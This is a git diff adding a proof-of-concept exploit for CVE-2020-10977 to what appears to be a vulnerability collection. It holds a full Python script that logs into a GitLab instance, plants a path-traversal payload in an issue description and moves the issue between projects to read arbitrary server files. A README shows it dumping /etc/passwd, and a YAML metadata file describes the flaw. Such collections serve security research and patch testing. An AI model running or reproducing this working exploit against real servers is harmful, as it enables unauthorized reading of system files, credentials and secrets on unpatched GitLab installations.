diff --git a/cve/gitlab/2020/CVE-2020-10977/CVE-2020-10977.py b/cve/gitlab/2020/CVE-2020-10977/CVE-2020-10977.py new file mode 100644 index 0000000000000000000000000000000000000000..e6ca45f5f623c9c354c680d5444d2a0703573878 --- /dev/null +++ b/cve/gitlab/2020/CVE-2020-10977/CVE-2020-10977.py @@ -0,0 +1,273 @@ +#!/usr/bin/env python3 + +import sys +import json +import requests +import argparse +from bs4 import BeautifulSoup +requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) + +parser = argparse.ArgumentParser() +parser.add_argument('url', help='Target URL with http(s)://') +parser.add_argument('username', help='GitLab Username') +parser.add_argument('password', help='GitLab Password') +args = parser.parse_args() + +base_url = args.url +if base_url.startswith('http://') or base_url.startswith('https://'): + pass +else: + print('[-] Include http:// or https:// in the URL!') + sys.exit() +if base_url.endswith('/'): + base_url = base_url[:-1] + +username = args.username.split('@')[0] +password = args.password + +login_url = base_url + '/users/sign_in' +project_url = base_url + '/projects/new' +create_url = base_url + '/projects' +prev_issue_url = '' +csrf_token = '' +project_names = ['ProjectOne', 'ProjectTwo'] + +session = requests.Session() + +def banner(): + print('-'*34) + print('--- CVE-2020-10977 ---------------') + print('--- GitLab Arbitrary File Read ---') + print('--- 12.9.0 & Below ---------------') + print('-'*34 + '\n') + print('[>] Found By : vakzz [ https://hackerone.com/reports/827052 ]') + print('[>] PoC By : thewhiteh4t [ https://twitter.com/thewhiteh4t ]\n') + +def show_info(): + print('[+] Target : ' + base_url) + print('[+] Username : ' + username) + print('[+] Password : ' + password) + print('[+] Project Names : {}, {}\n'.format(project_names[0], project_names[1])) + +def login(): + print('[!] Trying to Login...') + try: + login_req = session.get(login_url, verify=False) + except Exception as exc: + print('\n[-] Exception : ' + str(exc)) + sys.exit() + + login_sc = login_req.status_code + if login_sc == 200: + login_resp = login_req.text + soup = BeautifulSoup(login_resp, 'html.parser') + meta = soup.find_all('meta') + + for entry in meta: + if 'name' in entry.attrs: + if entry.attrs['name'] == 'csrf-token': + csrf_token = entry.attrs['content'] + else: + print('[-] Status : ' + str(login_req.status_code)) + sys.exit() + + login_data = { + 'utf8': '✓', + 'authenticity_token': csrf_token, + 'user[login]': username, + 'user[password]': password, + 'user[remember_me]': 0 + } + + login_req = session.post(login_url, data=login_data, allow_redirects=False) + if login_req.status_code == 302 and 'redirected' in login_req.text: + print('[+] Login Successful!') + else: + print('[-] Status : ' + str(login_req.status_code)) + print('[-] Login Failed!') + sys.exit() + +def create_project(project): + global csrf_token + print('[!] Creating {}...'.format(project)) + try: + project_req = session.get(project_url, verify=False) + except Exception as exc: + print('\n[-] Exception : ' + str(exc)) + sys.exit() + project_resp = project_req.text + soup = BeautifulSoup(project_resp, 'html.parser') + inputs = soup.find_all('input') + for entry in inputs: + if 'name' in entry.attrs: + if entry.attrs['name'] == 'project[namespace_id]': + project_id = entry.attrs['value'] + + meta = soup.find_all('meta') + for entry in meta: + if 'name' in entry.attrs: + if entry.attrs['name'] == 'csrf-token': + csrf_token = entry.attrs['content'] + + create_data = { + 'utf8': '✓', + 'authenticity_token': csrf_token, + 'project[ci_cd_only]': 'false', + 'project[name]': project, + 'project[namespace_id]': project_id, + 'project[path]': project, + 'project[description]': '', + 'project[visibility_level]' : '0' + } + try: + create_req = session.post(create_url, data=create_data, allow_redirects=False) + except Exception as exc: + print('\n[-] Exception : ' + str(exc)) + sys.exit() + if create_req.status_code == 302 and 'redirected' in create_req.text: + print('[+] {} Created Successfully!'.format(project)) + else: + pass + +def create_issue(project_name): + global prev_issue_url + print('[!] Creating an Issue...') + issue_url = '{}/{}/{}/issues/new'.format(base_url, username, project_name) + try: + issue_req = session.get(issue_url, verify=False) + except Exception as exc: + print('\n[-] Exception : ' + str(exc)) + sys.exit() + issue_resp = issue_req.text + soup = BeautifulSoup(issue_resp, 'html.parser') + meta = soup.find_all('meta') + for entry in meta: + if 'name' in entry.attrs: + if entry.attrs['name'] == 'csrf-token': + csrf_token = entry.attrs['content'] + + issue_create_url = issue_url.replace('/new', '') + issue_data = { + 'utf8': '✓', + 'authenticity_token' : csrf_token, + 'issue[title]': 'read_{}'.format(filename), + 'issue[description]' : '![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../..{})'.format(filename), + 'issue[confidential]' : '0', + 'issue[assignee_ids][]' : '0', + 'issue[label_ids][]' : '', + 'issue[due_date]' : '', + 'issue[lock_version]' : '0' + } + + try: + create_req = session.post(issue_create_url, data=issue_data, allow_redirects=False) + except Exception as exc: + print('\n[-] Exception : ' + str(exc)) + sys.exit() + if create_req.status_code == 302 and 'redirected' in create_req.text: + print('[+] Issue Created Successfully!') + create_resp = create_req.text + soup = BeautifulSoup(create_resp, 'html.parser') + prev_issue_url = soup.find('a')['href'] + if base_url.startswith('https://') and prev_issue_url.startswith('http://'): + prev_issue_url = prev_issue_url.replace('http://', 'https://') + else: + print('[-] Status : ' + str(create_req.status_code)) + print('[-] Failed to Create an Issue!') + +def move_issue(source, second, filename): + print('[!] Moving Issue...') + id_url = '{}/{}/{}'.format(base_url, username, second) + try: + id_req = session.get(id_url, verify=False) + except Exception as exc: + print('\n[-] Exception : ' + str(exc)) + sys.exit() + id_resp = id_req.text + soup = BeautifulSoup(id_resp, 'html.parser') + body = soup.find('body') + project_id = body.attrs['data-project-id'] + move_url = prev_issue_url + '/move' + + try: + csrf_req = session.get(prev_issue_url, verify=False) + except Exception as exc: + print('\n[-] Exception : ' + str(exc)) + sys.exit() + csrf_resp = csrf_req.text + soup = BeautifulSoup(csrf_resp, 'html.parser') + meta = soup.find_all('meta') + for entry in meta: + if 'name' in entry.attrs: + if entry.attrs['name'] == 'csrf-token': + csrf_token = entry.attrs['content'] + move_data = { + "move_to_project_id": int(project_id) + } + move_data = json.dumps(move_data) + move_headers = { + 'X-CSRF-Token': csrf_token, + 'X-Requested-With': 'XMLHttpRequest', + 'Content-Type': 'application/json;charset=UTF-8' + } + + try: + move_req = session.post(move_url, data=move_data, headers=move_headers) + except Exception as exc: + print('\n[-] Exception : ' + str(exc)) + sys.exit() + if move_req.status_code == 200: + print('[+] Issue Moved Successfully!') + description = json.loads(move_req.text)["description"] + filepath = description.split('](')[1][1:-1] + fileurl = "{}/{}/{}/{}".format(base_url, username, second, filepath) + + print('[+] File URL : ' + fileurl) + try: + contents = session.get(fileurl, verify=False) + except Exception as exc: + print('\n[-] Exception : ' + str(exc)) + sys.exit() + if contents.status_code == 404: + print('[-] No such file or directory') + else: + print('\n> ' + filename) + print('{}\n\n{}\n{}\n'.format('-'*40, contents.text, '-'*40 )) + elif move_req.status_code == 500: + print('[-] Access Denied!') + else: + print('[-] Status : ' + str(move_req.status_code)) + +def delete_project(project): + print('[!] Deleting {}...'.format(project)) + delete_data = { + 'utf8': '✓', + '_method': 'delete', + 'authenticity_token' : csrf_token + } + delete_url = '{}/{}/{}'.format(base_url, username, project) + try: + delete_req = session.post(delete_url, data=delete_data, verify=False) + except Exception as exc: + print('\n[-] Exception : ' + str(exc)) + sys.exit() + if delete_req.status_code == 200: + print('[+] {} Successfully Deleted!'.format(project)) + else: + print('[-] Status : ' + str(delete_req.status_code)) + +try: + banner() + show_info() + login() + for project in project_names: + create_project(project) + while True: + filename = input('[>] Absolute Path to File : ') + create_issue(project_names[0]) + move_issue(project_names[0], project_names[1], filename) +except KeyboardInterrupt: + print('\n[-] Keyboard Interrupt') + for project in project_names: + delete_project(project) + sys.exit() \ No newline at end of file diff --git a/cve/gitlab/2020/CVE-2020-10977/README.md b/cve/gitlab/2020/CVE-2020-10977/README.md new file mode 100644 index 0000000000000000000000000000000000000000..c77cbd6c78560f3a0ba27d03cac4be1ad576a7cd --- /dev/null +++ b/cve/gitlab/2020/CVE-2020-10977/README.md @@ -0,0 +1,106 @@ +# CVE-2020-10977 + +## GitLab 12.9.0 Arbitrary File Read + +**Target :** 12.9.0 and below + +**Tested :** GitLab 12.8.1 + +In a recent engagement I found a GitLab instance on the target, I found a PoC on Exploit-DB but it uses LDAP for authentication and it was disabled in this case, so I created this python script which can authenticate using web GUI, like the original PoC it will create two projects, an issue in one of the projects with the malicious payload and it will move this issue from one project to another and will automatically read the file contents. + +I have added few things such as the script will ask for an absolute path you wish to read, after printing its contents it will ask for another path and cleanup on exit, both projects will be automatically deleted when you exit the script using `CTRL+C` + +``` +$ python3 CVE-2020-10977.py http://localhost twh p4ssw0rd +---------------------------------- +--- CVE-2020-10977 --------------- +--- GitLab Arbitrary File Read --- +--- 12.9.0 & Below --------------- +---------------------------------- + +[>] Found By : vakzz [ https://hackerone.com/reports/827052 ] +[>] PoC By : thewhiteh4t [ https://twitter.com/thewhiteh4t ] + +[+] Target : http://localhost +[+] Username : twh +[+] Password : p4ssw0rd +[+] Project Names : ProjectOne, ProjectTwo + +[!] Trying to Login... +[+] Login Successful! +[!] Creating ProjectOne... +[+] ProjectOne Created Successfully! +[!] Creating ProjectTwo... +[+] ProjectTwo Created Successfully! +[>] Absolute Path to File : /etc/passwd +[!] Creating an Issue... +[+] Issue Created Successfully! +[!] Moving Issue... +[+] Issue Moved Successfully! +[+] File URL : http://localhost/twh/ProjectTwo/uploads/5f74b01d2b58e4a57ca55e1ac8778650/passwd + +> /etc/passwd +---------------------------------------- + +root:x:0:0:root:/root:/bin/bash +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin +bin:x:2:2:bin:/bin:/usr/sbin/nologin +sys:x:3:3:sys:/dev:/usr/sbin/nologin +sync:x:4:65534:sync:/bin:/bin/sync +. +. +. +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin +. +. +. +git:x:998:998::/var/opt/gitlab:/bin/sh +gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false +gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false +gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh +mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh +registry:x:993:993::/var/opt/gitlab/registry:/bin/sh +gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh +gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh + +---------------------------------------- + +[>] Absolute Path to File : ^C +[-] Keyboard Interrupt +[!] Deleting ProjectOne... +[+] ProjectOne Successfully Deleted! +[!] Deleting ProjectTwo... +[+] ProjectTwo Successfully Deleted! +``` + +## Dependencies + +``` +pip3 install requests bs4 +``` + + +## Usage + +Register an account on target GitLab and use the same credentials with the script + +``` +$ python3 CVE-2020-10977.py -h +usage: CVE-2020-10977.py [-h] url username password + +positional arguments: + url Target URL with http(s):// + username GitLab Username + password GitLab Password + +optional arguments: + -h, --help show this help message and exit +``` + +## Credits + +* Thank you `vakzz` for finding this bug in GitLab + * HackerOne Report : https://hackerone.com/reports/827052 +* Thank you `KouroshRZ` for creating a PoC for this exploit + * Exploit-DB : https://www.exploit-db.com/exploits/48431 diff --git a/cve/gitlab/2020/yaml/CVE-2020-10977.yaml b/cve/gitlab/2020/yaml/CVE-2020-10977.yaml new file mode 100644 index 0000000000000000000000000000000000000000..11c4e937e25f37b131d0a635ee80c78ccd8a564a --- /dev/null +++ b/cve/gitlab/2020/yaml/CVE-2020-10977.yaml @@ -0,0 +1,20 @@ +id: CVE-2020-10977 +source: https://github.com/thewhiteh4t/cve-2020-10977 +info: + name: GitLab是由GitLab Inc.开发,一款基于Git的完全集成的软件开发平台。 + severity: MEDIUM + description: | + GitLab EE/CE 8.5 到 12.9 在项目之间移动问题时容易受到路径遍历的影响。 + scope-of-influence: + 8.5.0 <= GitLab(CE/EE)< 12.9 + 8.5.0 <= GitLab(CE/EE)< 12.9 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2020-10977 + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N + cvss-score: 5.5 + cve-id: CVE-2020-10977 + cwe-id: CWE-22 + cnvd-id: None + kve-id: None + tags: EE/CE, cve2020, gitlab \ No newline at end of file diff --git a/openkylin_list.yaml b/openkylin_list.yaml index e348ad077a31411bdce499c500ea5c64cd291a07..5a85aa2c8d6dde73adbbf291d48591ac1c72451f 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -68,6 +68,7 @@ cve: - CVE-2021-3156 - CVE-2023-22809 gitlab: + - CVE-2020-10977 - CVE-2021-22205 - CVE-2021-22214 - CVE-2022-1162